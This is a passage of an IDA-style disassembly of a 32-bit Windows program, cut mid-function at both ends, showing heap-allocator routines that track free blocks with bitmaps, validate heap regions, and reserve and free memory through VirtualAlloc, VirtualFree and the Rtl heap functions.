		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4253E3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4253E3:				; CODE XREF: sub_424FD0+3F9j
		jmp	short loc_425450
; ---------------------------------------------------------------------------

loc_4253E5:				; CODE XREF: sub_424FD0+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_425450
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_425450:				; CODE XREF: sub_424FD0+3AAj
					; sub_424FD0:loc_4253E3j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_425490
		mov	[ebp+var_24], 3Fh

loc_425490:				; CODE XREF: sub_424FD0+37Fj
					; sub_424FD0+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_42559E
		cmp	[ebp+var_24], 20h
		jnb	short loc_425538
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_425516
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx

loc_425516:				; CODE XREF: sub_424FD0+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_42559E
; ---------------------------------------------------------------------------

loc_425538:				; CODE XREF: sub_424FD0+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_425575
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_425575:				; CODE XREF: sub_424FD0+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax

loc_42559E:				; CODE XREF: sub_424FD0+502j
					; sub_424FD0+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax

loc_4255B2:				; CODE XREF: sub_424FD0+321j
					; sub_424FD0+32Cj
		mov	eax, 1

loc_4255B7:				; CODE XREF: sub_424FD0+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_424FD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F3AC0, 0
		jz	loc_4256EC
		mov	eax, dword_4F3AB4
		shl	eax, 0Fh
		mov	ecx, dword_4F3AC0
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		call	dword_4F54B0	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4F3AB4
		shr	edx, cl
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4F3AC0
		mov	[edx+8], ecx
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	edx, dword_4F3AB4
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4F3AC0
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_425672
		mov	edx, dword_4F3AC0
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4F3AC0
		mov	[ecx+4], eax

loc_425672:				; CODE XREF: .packed:0042565Cj
		mov	edx, dword_4F3AC0
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_4256E2
		cmp	dword_4F3AC4, 1
		jle	short loc_4256E2
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5414	; RtlFreeHeap
		mov	eax, dword_4F3AC4
		imul	eax, 14h
		mov	ecx, dword_4F3AC8
		add	ecx, eax
		mov	edx, dword_4F3AC0
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, dword_4F3AC0
		add	eax, 14h
		push	eax
		mov	ecx, dword_4F3AC0
		push	ecx
		call	sub_420840
		add	esp, 0Ch
		mov	edx, dword_4F3AC4
		sub	edx, 1
		mov	dword_4F3AC4, edx

loc_4256E2:				; CODE XREF: .packed:0042567Cj
					; .packed:00425685j
		mov	dword_4F3AC0, 0

loc_4256EC:				; CODE XREF: .packed:004255CBj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256F0	proc near		; CODE XREF: sub_423E20+44p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, dword_4F3AC4
		imul	eax, 14h
		push	eax
		mov	ecx, dword_4F3AC8
		push	ecx
		call	dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42571B
		or	eax, 0FFFFFFFFh
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_42571B:				; CODE XREF: sub_4256F0+21j
		mov	edx, dword_4F3AC8
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_425742
; ---------------------------------------------------------------------------

loc_425733:				; CODE XREF: sub_4256F0+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax

loc_425742:				; CODE XREF: sub_4256F0+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, dword_4F3AC4
		jge	loc_425D07
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		call	dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_425783
		mov	eax, 0FFFFFFFEh
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425783:				; CODE XREF: sub_4256F0+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_4257D3
; ---------------------------------------------------------------------------

loc_4257CA:				; CODE XREF: sub_4256F0+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_4257D3:				; CODE XREF: sub_4256F0+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_425CCB
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
		jmp	short loc_425816
; ---------------------------------------------------------------------------

loc_425807:				; CODE XREF: sub_4256F0+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx

loc_425816:				; CODE XREF: sub_4256F0+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_425832
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_425807
; ---------------------------------------------------------------------------

loc_425832:				; CODE XREF: sub_4256F0+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_425C6D
		push	8000h
		mov	ecx, [ebp+var_128]
		push	ecx
		call	dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42585C
		mov	eax, 0FFFFFFFCh
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_42585C:				; CODE XREF: sub_4256F0+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_425880
; ---------------------------------------------------------------------------

loc_425871:				; CODE XREF: sub_4256F0+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax

loc_425880:				; CODE XREF: sub_4256F0+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_425A04
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_4258C2
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_4258CC

loc_4258C2:				; CODE XREF: sub_4256F0+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_4258CC:				; CODE XREF: sub_4256F0+1D0j
					; sub_4256F0+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_425929
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_425918
		mov	eax, 0FFFFFFFAh
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425918:				; CODE XREF: sub_4256F0+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_42596B
; ---------------------------------------------------------------------------

loc_425929:				; CODE XREF: sub_4256F0+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_42594E
		mov	[ebp+var_14C], 3Fh

loc_42594E:				; CODE XREF: sub_4256F0+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx

loc_42596B:				; CODE XREF: sub_4256F0+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_42598D
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_42598D
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_425997

loc_42598D:				; CODE XREF: sub_4256F0+282j
					; sub_4256F0+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425997:				; CODE XREF: sub_4256F0+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_4259B8
		mov	eax, 0FFFFFFF8h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_4259B8:				; CODE XREF: sub_4256F0+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_4258CC
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_4259F4
		mov	eax, 0FFFFFFF8h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_4259F4:				; CODE XREF: sub_4256F0+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_425871
; ---------------------------------------------------------------------------

loc_425A04:				; CODE XREF: sub_4256F0+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_425A1B
		mov	eax, 0FFFFFFF7h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425A1B:				; CODE XREF: sub_4256F0+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_425A36
; ---------------------------------------------------------------------------

loc_425A2D:				; CODE XREF: sub_4256F0+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx

loc_425A36:				; CODE XREF: sub_4256F0+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_425C6D
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx

loc_425A56:				; CODE XREF: sub_4256F0+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_425B9A
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_425B9A
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_425AAE
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_425AB8

loc_425AAE:				; CODE XREF: sub_4256F0+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425AB8:				; CODE XREF: sub_4256F0+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax

loc_425AE4:				; CODE XREF: sub_4256F0+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_425B0E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_425AFC
		jmp	short loc_425B0E
; ---------------------------------------------------------------------------

loc_425AFC:				; CODE XREF: sub_4256F0+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_425AE4
; ---------------------------------------------------------------------------

loc_425B0E:				; CODE XREF: sub_4256F0+3FDj
					; sub_4256F0+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_425B23
		mov	eax, 0FFFFFFF5h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425B23:				; CODE XREF: sub_4256F0+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_425B4A
		mov	[ebp+var_14C], 3Fh

loc_425B4A:				; CODE XREF: sub_4256F0+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_425B5F
		mov	eax, 0FFFFFFF4h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425B5F:				; CODE XREF: sub_4256F0+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_425B7A
		mov	eax, 0FFFFFFF3h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425B7A:				; CODE XREF: sub_4256F0+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_425A56
; ---------------------------------------------------------------------------

loc_425B9A:				; CODE XREF: sub_4256F0+381j
					; sub_4256F0+397j
		cmp	[ebp+var_168], 0
		jz	short loc_425C11
		cmp	[ebp+var_14], 20h
		jge	short loc_425BDB
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_425C11
; ---------------------------------------------------------------------------

loc_425BDB:				; CODE XREF: sub_4256F0+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax

loc_425C11:				; CODE XREF: sub_4256F0+4B1j
					; sub_4256F0+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_425C34
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_425C3E

loc_425C34:				; CODE XREF: sub_4256F0+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425C3E:				; CODE XREF: sub_4256F0+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_425C59
		mov	eax, 0FFFFFFF1h
		jmp	loc_425D09
; ---------------------------------------------------------------------------

loc_425C59:				; CODE XREF: sub_4256F0+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_425A2D
; ---------------------------------------------------------------------------

loc_425C6D:				; CODE XREF: sub_4256F0+146j
					; sub_4256F0+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_425C9A
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_425CA1

loc_425C9A:				; CODE XREF: sub_4256F0+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_425D09
; ---------------------------------------------------------------------------

loc_425CA1:				; CODE XREF: sub_4256F0+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_4257CA
; ---------------------------------------------------------------------------

loc_425CCB:				; CODE XREF: sub_4256F0+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_425CEC
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_425CF3

loc_425CEC:				; CODE XREF: sub_4256F0+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_425D09
; ---------------------------------------------------------------------------

loc_425CF3:				; CODE XREF: sub_4256F0+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_425733
; ---------------------------------------------------------------------------

loc_425D07:				; CODE XREF: sub_4256F0+5Ej
		xor	eax, eax

loc_425D09:				; CODE XREF: sub_4256F0+26j
					; sub_4256F0+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4256F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_453C9C
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+8], eax
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_425D47
		mov	ecx, [ebp+8]
		mov	dword_453C9C, ecx
		mov	eax, 1
		jmp	short loc_425D49
; ---------------------------------------------------------------------------

loc_425D47:				; CODE XREF: .packed:00425D35j
		xor	eax, eax

loc_425D49:				; CODE XREF: .packed:00425D45j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D50	proc near		; CODE XREF: .packed:00424051p
					; sub_426210+34Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_451C88, 0FFFFFFFFh
		jnz	short loc_425D68
		mov	[ebp+var_C], offset off_451C78
		jmp	short loc_425D8B
; ---------------------------------------------------------------------------

loc_425D68:				; CODE XREF: sub_425D50+Dj
		push	2020h
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_425D8B
		xor	eax, eax
		jmp	loc_425F2A
; ---------------------------------------------------------------------------

loc_425D8B:				; CODE XREF: sub_425D50+16j
					; sub_425D50+32j
		push	4
		push	2000h
		push	400000h
		push	0
		call	dword_4F54B4	; VirtualAlloc
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_425F0C
		push	4
		push	1000h
		push	10000h
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4F54B4	; VirtualAlloc
		test	eax, eax
		jz	loc_425EFB
		cmp	[ebp+var_C], offset off_451C78
		jnz	short loc_425DFB
		cmp	off_451C78, 0
		jnz	short loc_425DE6
		mov	off_451C78, offset off_451C78

loc_425DE6:				; CODE XREF: sub_425D50+8Aj
		cmp	off_451C7C, 0
		jnz	short loc_425DF9
		mov	off_451C7C, offset off_451C78

loc_425DF9:				; CODE XREF: sub_425D50+9Dj
		jmp	short loc_425E24
; ---------------------------------------------------------------------------

loc_425DFB:				; CODE XREF: sub_425D50+81j
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx], offset	off_451C78
		mov	eax, [ebp+var_C]
		mov	ecx, off_451C7C
		mov	[eax+4], ecx
		mov	edx, [ebp+var_C]
		mov	off_451C7C, edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx

loc_425E24:				; CODE XREF: sub_425D50:loc_425DF9j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10h], ecx
		mov	edx, [ebp+var_4]
		add	edx, 400000h
		mov	eax, [ebp+var_C]
		mov	[eax+14h], edx
		mov	ecx, [ebp+var_C]
		add	ecx, 18h
		mov	edx, [ebp+var_C]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		add	eax, 98h
		mov	ecx, [ebp+var_C]
		mov	[ecx+0Ch], eax
		mov	[ebp+var_8], 0
		jmp	short loc_425E68
; ---------------------------------------------------------------------------

loc_425E5F:				; CODE XREF: sub_425D50+153j
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx

loc_425E68:				; CODE XREF: sub_425D50+10Dj
		cmp	[ebp+var_8], 400h
		jge	short loc_425EA5
		cmp	[ebp+var_8], 10h
		jge	short loc_425E87
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+eax*8+18h], 0F0h
		jmp	short loc_425E95
; ---------------------------------------------------------------------------

loc_425E87:				; CODE XREF: sub_425D50+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+edx*8+18h], 0FFFFFFFFh

loc_425E95:				; CODE XREF: sub_425D50+135j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*8+1Ch], 0F1h
		jmp	short loc_425E5F
; ---------------------------------------------------------------------------

loc_425EA5:				; CODE XREF: sub_425D50+11Fj
		push	10000h
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch

loc_425EB8:				; CODE XREF: sub_425D50+1A4j
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+10h]
		add	edx, 10000h
		cmp	[ebp+var_4], edx
		jnb	short loc_425EF6
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0F0h
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+0F8h], 0FFh
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx
		jmp	short loc_425EB8
; ---------------------------------------------------------------------------

loc_425EF6:				; CODE XREF: sub_425D50+177j
		mov	eax, [ebp+var_C]
		jmp	short loc_425F2A
; ---------------------------------------------------------------------------

loc_425EFB:				; CODE XREF: sub_425D50+74j
		push	8000h
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F54B0	; VirtualFree

loc_425F0C:				; CODE XREF: sub_425D50+56j
		cmp	[ebp+var_C], offset off_451C78
		jz	short loc_425F28
		mov	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F5414	; RtlFreeHeap

loc_425F28:				; CODE XREF: sub_425D50+1C3j
		xor	eax, eax

loc_425F2A:				; CODE XREF: sub_425D50+36j
					; sub_425D50+1A9j
		mov	esp, ebp
